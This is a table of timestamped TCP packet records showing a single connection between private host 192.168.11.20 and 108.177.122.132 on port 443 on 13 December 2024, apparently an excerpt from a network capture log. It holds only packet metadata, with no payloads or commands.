| Dec 13, 2024 08:50:39.508760929 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.508918047 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.508946896 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.509169102 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.510293961 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.510534048 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.510543108 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.510746956 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.511553049 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.511785030 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.511794090 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.511944056 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.512960911 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.513123989 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.513132095 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.513294935 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.514302015 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.514473915 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.514482021 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.514672995 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.515717983 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.515935898 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.515959978 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.516217947 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.516954899 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.517153978 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.517163038 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.517362118 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.518362999 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.518582106 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.518589973 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.518830061 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.519644976 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.519804001 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.519813061 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.520036936 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.520961046 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.521127939 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.521136999 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.521353006 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.522222996 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.522413015 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.522422075 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.522694111 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.523514986 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.523718119 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.523726940 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.524038076 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.524784088 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.524955034 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.524981022 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.525188923 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.526036978 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.526294947 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.526304007 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.526472092 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.527348995 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.527565002 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.527574062 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.527812958 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.528531075 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.528716087 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.528723955 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.528892994 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.529767990 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.529958963 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.529968023 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.530142069 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.530993938 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.531194925 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.531203032 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.531377077 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.532202005 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.532363892 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.532372952 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.532598019 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.533354044 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.533572912 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.533581972 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.533814907 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.534567118 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.534744024 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.534751892 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.534986019 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.535722971 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.535975933 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.535984993 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.536156893 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.536914110 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.537132978 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.537142038 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.537317991 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.538090944 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.538255930 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.538264990 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.538523912 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.539252996 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.539438963 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.539447069 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.539696932 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.540358067 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.540530920 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.540539980 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.540710926 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.541537046 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.541687012 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.541696072 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.541945934 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.542614937 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.542752028 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.542761087 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.542947054 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.543705940 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.543917894 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.543926954 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.544111013 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.544807911 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.544961929 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.544970989 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.545146942 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.545892000 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.546016932 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.546025038 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.546181917 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.546981096 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.547116041 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.547120094 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.547286034 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.548116922 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.548289061 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.548296928 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.548501015 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.549160004 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.549345016 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.549354076 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.549520969 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.550276041 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.550520897 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.550529957 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.550770998 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.551359892 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.551538944 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.551548004 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.551722050 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.552472115 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.552722931 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.552731037 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.552920103 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.553554058 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.553725958 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.553734064 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.553920984 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.554511070 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.554759979 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.554769039 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.554946899 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.555577040 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.555779934 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.555788994 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.555947065 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.556557894 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.556765079 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.556773901 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.556919098 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.557576895 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.557774067 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.557782888 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.557955027 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.558557034 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.558780909 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.558789015 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.558999062 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.559534073 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.559715033 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.559724092 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.559895039 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.560539007 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.560688019 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.560692072 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.560861111 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.561528921 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.561713934 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.561718941 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.561928988 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.562457085 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.562719107 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.562727928 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.562901020 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.563396931 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.563596010 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.563604116 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.563786030 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.564388990 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.564620018 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.564629078 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.564812899 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.565360069 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.565618992 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.565627098 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.565813065 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.566303968 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.566618919 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.566627979 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.566801071 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.567249060 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.567423105 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.567431927 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.567672014 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.568214893 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.568447113 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.568455935 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.568645000 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.569098949 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.569238901 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.569247007 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.569462061 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.570046902 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.570242882 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.570247889 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.570440054 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.570988894 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.571173906 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.571182013 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.571403027 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.571917057 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.572096109 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.572104931 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.572313070 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.572861910 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.573122978 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.573132038 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.573327065 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.573771954 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.573931932 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.573940992 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.574100971 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.574708939 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.574861050 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.574870110 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.575001955 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.575612068 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.575836897 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.575845957 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.575989008 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.576608896 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.576811075 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.576819897 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.577029943 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.577466965 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.577656984 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.577665091 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.577852011 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.578392029 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.578593016 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.578602076 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.578788042 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.579255104 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.579449892 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.579458952 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.579684973 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.580216885 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.580410004 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.580419064 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.580634117 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.581114054 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.581362009 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.581370115 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.581547976 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.582025051 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.582235098 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.582243919 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.582426071 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.582979918 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.583168983 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.583178043 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.583374023 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.583827019 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
